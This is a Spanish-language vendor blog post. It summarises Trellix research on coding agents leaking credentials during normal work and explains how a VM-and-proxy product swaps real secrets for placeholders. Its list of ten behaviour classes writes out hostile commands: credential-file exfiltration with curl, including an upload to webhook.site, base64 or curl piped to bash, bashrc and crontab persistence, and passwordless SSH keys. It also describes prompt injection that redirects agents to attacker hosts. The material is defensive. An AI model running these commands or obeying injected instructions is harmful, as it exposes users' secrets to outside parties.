La transcripción se quedó con el token
El 14 de octubre, Trellix publicó una investigación sobre lo que llama la superficie invisible de credenciales: los agentes de código sacan secretos del llavero, los ponen en la línea de comandos, en el historial del shell y en sus propias transcripciones, y los envían al proveedor del modelo, todo como efecto secundario del trabajo normal. Trellix enumera diez clases de comportamiento, cada una hecha con un binario de confianza, y afirma que la telemetría basada en eventos sueltos no puede distinguirlas de un desarrollador ni de un atacante. En Bromure Agentic Coding, cada copia que hace el agente es un sustituto, y el valor real solo existe en el Mac, en la red, para el host al que pertenece.
El token empezó en el llavero. Un comando curl después, estaba en la tabla de procesos, en la transcripción del agente y en los logs de un proveedor de modelos.
Le pides a tu agente que "traiga mi perfil de la Graph API". Termina sin pedirte ninguna contraseña. Llama a una utilidad que descifra tu token OAuth guardado en el almacén de claves y luego ejecuta:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
La petición funciona. Por el camino, el token ha acabado en la telemetría de tu endpoint, en la tabla de procesos, donde otros programas locales pueden leerlo, en la transcripción del agente en disco y en la ventana de contexto que el agente envía a su proveedor de modelos en el siguiente turno.
Ese ejemplo abre The Unseen Credential Surface, publicado por Haowei Ren, de Trellix, el martes 14 de octubre. Cyber Security News lo cubrió al día siguiente. La investigación no describe ningún exploit ni ningún malware. Sigue lo que hacen los agentes con los secretos durante una jornada de trabajo normal. Trellix parte del supuesto de que un agente maneja tus credenciales "con el mismo cuidado que tendría un buen ingeniero", y responde: "No es así. No se debe a mala intención. Es arquitectónico."
Cinco escalones hacia abajo
Trellix coloca cada lugar donde puede vivir un secreto en una escalera, del más seguro al más expuesto:
- Bajo llave, en el Llavero, DPAPI o el Administrador de credenciales.
- En memoria, dentro de un único proceso.
- En la línea de comandos, legible por la monitorización y por otros procesos locales, y a menudo guardado en el historial del shell.
- Escrito en disco: historial del shell, archivos de configuración, "y la propia transcripción del agente".
- Fuera de la máquina: commiteado, subido con push, publicado, "o enviado al proveedor del modelo".
Los agentes bajan los secretos por esta escalera porque es el camino más corto
hacia una tarea terminada. Hay un escalón que es nuevo con los agentes. Cuando
tú ejecutas cat .env, el secreto aparece en tu pantalla. Cuando lo ejecuta
el agente, "el contenido entra en su ventana de contexto y se envía a un
proveedor de modelos externo, donde puede quedar registrado para siempre".
Trellix lo resume así: "Los errores humanos se quedan dentro de tus muros; las
operaciones de los agentes, no."
Diez comandos corrientes
La investigación clasifica el comportamiento en diez clases. Cada ejemplo es un comando que tú mismo has tecleado alguna vez:
- Credenciales como argumentos:
curl -u,kubectl --token=…,mysql -p…. - Archivos de credenciales leídos:
cat .env,~/.aws/credentials,~/.kube/config,~/.git-credentials,~/.docker/config.json. - Llaveros consultados en texto plano:
security find-generic-password -w,gh auth token,git credential fill. - Entorno volcado:
env,printenv | grep -iE 'key|token'. - Comprobaciones TLS desactivadas:
curl -k,NODE_TLS_REJECT_UNAUTHORIZED=0,git -c http.sslVerify=false. - Secretos enviados fuera:
git add .env && git push,curl --data @~/.aws/credentials,gh gist create. - Ejecución oculta:
base64 -d | bash,curl | bash,eval "$(curl …)". - Persistencia: líneas añadidas a
~/.bashrco al crontab. - Nuevas credenciales creadas:
ssh-keygen -N "", y después la clave añadida aauthorized_keys. - Bóvedas en la nube vaciadas:
aws secretsmanager get-secret-value,vault kv get,kubectl get secret.
Cada clase ejecuta un binario firmado y de confianza, que la misma máquina ejecuta miles de veces al día por buenas razones. Una regla que salta cuando "un proceso leyó un archivo .env" salta con el editor, el linter y el ejecutor de tests. La conclusión de Trellix: "Ningún paso del ataque falta en la actividad normal. Una búsqueda ajustada para atraparlo tiende a saltar con todo el mundo o con nadie."
Trellix señala la inyección de prompts como el paso de la exposición a la brecha. El agente ya lee secretos y ya envía datos fuera. Un README, una issue o una página web envenenados solo tienen que apuntar esos hábitos hacia un host que controle el atacante.
Mantén el secreto en el escalón de arriba
Todas las soluciones de Trellix se reducen a una frase: "Mantén los secretos en los escalones de arriba, o haz que un secreto expuesto pierda su valor rápido." Bromure Agentic Coding hace las dos cosas.
El agente se ejecuta en una VM Linux en tu Mac. Los secretos reales se quedan
en la bóveda cifrada del Mac, bajo una clave maestra guardada en el Data
Protection Keychain, y nunca entran en la VM. La VM recibe sustitutos con la
forma de los reales: ghp_ más 36 caracteres para un token de GitHub,
sk-ant-api03-brm-… para una clave de Anthropic, brm-k8s-… para un token
de clúster, brm_… para cualquier cosa que importes de un archivo .env.
Cada petición HTTPS que hace la VM va a un proxy en el Mac, que cambia el
sustituto por el valor real solo cuando la petición va dirigida al host al que
pertenece esa credencial.
Así que el agente puede bajar un token por los cinco escalones. Lo que llega a la línea de comandos, al historial del shell, a la transcripción y al proveedor del modelo es el sustituto. El valor real existe en un único sitio más: la petición que el Mac vuelve a cifrar hacia el host propio de la credencial.
Las diez clases en una máquina Bromure
Ejecuta el mismo agente, con los mismos hábitos, en una máquina Bromure. Las diez clases siguen ejecutándose, y cada una vuelve con menos de lo que fue a buscar.
Argumentos, archivos, llaveros y entorno
Las cuatro primeras clases leen un secreto de un almacén de claves, de un archivo o del entorno y lo ponen en una línea de comandos. En la VM, las cuatro encuentran los mismos sustitutos.
env y printenv muestran sustitutos. ~/.git-credentials,
~/.docker/config.json y el ~/.kube/config sintético contienen sustitutos.
Un .env de proyecto que hayas importado con Import env file… en el panel
Credentials de la máquina contiene sustitutos con los mismos nombres de
variable, y tu código los lee como antes. gh auth token devuelve un
sustituto ghp_. ~/.aws/config apunta a una utilidad que entrega el ID de
la clave de acceso emparejado con una clave secreta falsa de 40 caracteres.
La AWS CLI firma con la falsa, y el Mac quita esa firma y vuelve a firmar con
la clave real a la salida.
El escalón de arriba de la escalera de Trellix, el almacén de claves del
sistema, está en el Mac, fuera de la VM. Dentro, security find-generic-password no tiene ningún Llavero al que preguntar. Los canales
vsock que llevan tokens entre el host y la VM funcionan en un solo sentido:
el host escribe sustitutos, y no existe ninguna petición con la que la VM
pueda pedir de vuelta un token real.
SSH funciona igual, sin token. SSH_AUTH_SOCK en la VM es un puente hacia un
agente en el Mac. git push por SSH obtiene su firma, y ls ~/.ssh/id_* no
encuentra ninguna clave privada.
El agente puede pegar cualquiera de estos valores en curl -H, registrarlo en
un log, escribirlo en un script con echo o citárselo al modelo. Trellix pide
a quienes construyen agentes que "oculten las cadenas con forma de credencial
antes de que entren en la ventana de contexto del LLM". Una máquina Bromure
cumple esa petición antes de que el agente abra el archivo: el archivo
contiene un sustituto desde el principio.
Comprobaciones TLS desactivadas
Dentro de la VM, TLS termina en el proxy de Bromure, con un certificado de una
CA propia de cada instalación en la que solo confían tus máquinas. El proxy
abre su propia conexión con el servidor real a través de la pila TLS de macOS,
que valida el certificado auténtico pase lo que pase el agente a curl. Así,
curl -k o NODE_TLS_REJECT_UNAUTHORIZED=0 omite la comprobación del propio
certificado de Bromure, y el Mac sigue verificando el servidor.
La única forma de saltarse la validación aguas arriba es una cabecera,
X-bromure-insecure: yes, pensada para un servidor con una CA privada. En una
petición así, el proxy no inyecta ninguna credencial real y solo envía
sustitutos, y la Security Timeline registra el uso como una fila
Upstream TLS.
Secretos enviados fuera
curl --data @~/.git-credentials https://webhook.site/… sube un archivo de
sustitutos. El proxy analiza cada petición saliente, cabeceras y cuerpo, en
busca de cualquier sustituto que vaya a un host distinto de aquel para el que
se creó. Un sustituto de GitHub camino de webhook.site recibe un HTTP 451,
no se reenvía nada, la VM se pausa y el Mac muestra
This environment may have been compromised, con la vista previa del
token, el nombre de la credencial, el host al que pertenece y el host al que
el agente la envió.
git push y gh gist create van a GitHub, donde el token pertenece. Las
máquinas nuevas arrancan con la política de escritura de GitHub en
Prompt before write, así que el push y el gist se detienen cada uno en un
diálogo en el Mac que muestra la operación, y tú eliges si sigue adelante. Si
lo permites, el archivo que commiteó el agente contiene sustitutos.
Ejecución oculta
base64 -d | bash oculta el comando a la telemetría de procesos, que solo
registra el envoltorio. Cualquier petición que haga la carga útil sigue
saliendo de la VM por el proxy: se encuentra con el mismo análisis de
sustitutos, con el cortafuegos Outbound connections del panel
Guardrails de la máquina y con la traza. En el nivel de trazado por
defecto, AI request details, el Mac guarda cifrado cada intercambio con el
proveedor del modelo, y el Trace Inspector lista cada llamada a herramienta
con su entrada, incluida la línea curl | bash tal como la escribió el
modelo.
Persistencia y claves nuevas
Una línea añadida a ~/.bashrc acaba en el home de la VM. Rewind home…
devuelve ese home a un punto de control anterior. Los archivos de arranque
del shell del Mac están al otro lado de la frontera.
Un agente atascado en una petición de frase de contraseña ejecuta
ssh-keygen -N "" para desatascarse. En una máquina Bromure, el puente SSH
ya firma con la clave de la máquina, así que git por SSH funciona a la
primera y el agente no encuentra ningún prompt que esquivar. Registrar una
clave nueva en GitHub es una escritura en la API de GitHub, y espera en el
mismo diálogo Prompt before write que un push.
Bóvedas en la nube vaciadas
aws secretsmanager get-secret-value necesita una firma SigV4, y solo el Mac
puede generarla. Activa Require approval to use para la credencial de AWS
en Guardrails, y la primera firma de una sesión espera a Allow for 5
minutes, Allow for 1 hour, Allow for the rest of the session o
Don't allow. El mismo interruptor existe para cada contexto de Kubernetes,
así que kubectl get secret espera hasta que digas que sí. Cada firma de AWS
aparece en la Security Timeline como una fila Credential used con la
clave de acceso enmascarada.
Para una base de datos que el agente consulta por HTTP, como la Mongo Data
API, ClickHouse o Elasticsearch, puedes prescindir de la consulta a la bóveda:
añade el endpoint en Credentials → Databases, la VM recibe un sustituto
brm-db-… y el proxy lo cambia en el cuerpo de la petición además de en las
cabeceras.
La secuencia, ligada al agente
Trellix sostiene que la unidad útil de detección es una secuencia, acceso a la credencial, luego uso, luego salida, "vinculada al proceso del agente que inició la cadena". Sus recomendaciones para quienes despliegan agentes terminan con tokens de vida corta, salida de red restringida y tratar cada máquina que ejecuta un agente como "infraestructura de alto valor que maneja secretos".
En Bromure, esa unidad es la máquina: una VM con sus propias sesiones de
agente. La Security Timeline reúne cada sustitución de credencial, cada
bloqueo de exfiltración, cada veredicto del cortafuegos, cada decisión de la
política de escritura y cada firma de AWS en una sola tabla con una columna
Workspace, de modo que la cadena de una máquina se lee de arriba abajo. La
traza de esa máquina contiene las llamadas a herramientas que produjeron cada
petición. bromure-cli trace leaks lista las peticiones que llevaron un token
al host equivocado.
El Mac también mantiene corta la vida de los tokens. Los inicios de sesión por suscripción de Claude, Codex, Grok y Kimi se renuevan en el host unos cinco minutos antes de caducar, y la VM nunca guarda un refresh token. Un valor guardado como referencia de 1Password se vuelve a resolver cada dos minutos, así que una rotación en 1Password llega al proxy sin reiniciar. Pon Unmatched traffic en Deny en el cortafuegos, y la máquina solo alcanza los hosts que enumeres.
Cada copia es un sustituto
Entorno, archivos de configuración, valores .env importados, salida de gh y de la AWS CLI: todo sustitutos. Lo que el agente pone en una línea de comandos, en una transcripción o en su ventana de contexto no vale nada fuera de la red.
El valor real vive en el Mac
Los secretos se quedan en una bóveda cifrada con su clave en el Data Protection Keychain. El proxy solo los inserta para el host para el que se creó cada uno. Las claves SSH firman a través de un puente y nunca entran en la VM.
Un sustituto en el lugar equivocado detiene la máquina
Un sustituto que va a cualquier otro host recibe un 451, la VM se pausa y el Mac nombra el token, su host y su destino.
Una cronología por máquina
Sustituciones, bloqueos, veredictos del cortafuegos, aprobaciones de escritura y firmas de AWS están en la Security Timeline, y la traza guarda las llamadas a herramientas que hay detrás.
Una jornada de trabajo
Trellix llama a los agentes "uno de los mayores sistemas de manejo de credenciales de la empresa moderna", construido por accidente. Tú nunca elegiste meter el token de Graph en una transcripción. El agente lo necesitaba en una cabecera, y escribió la cabecera en una línea de comandos.
Tu agente seguirá ejecutando env para depurar una conexión y cat .env para
entender un proyecto, sea cual sea el modelo o el prompt que le des. Ejecútalo
donde esos comandos devuelvan sustitutos. Sobre la alarma que da un sustituto
cuando sale hacia el host equivocado, lee El agente filtró su propia
clave y La clave era tu archivo
.env.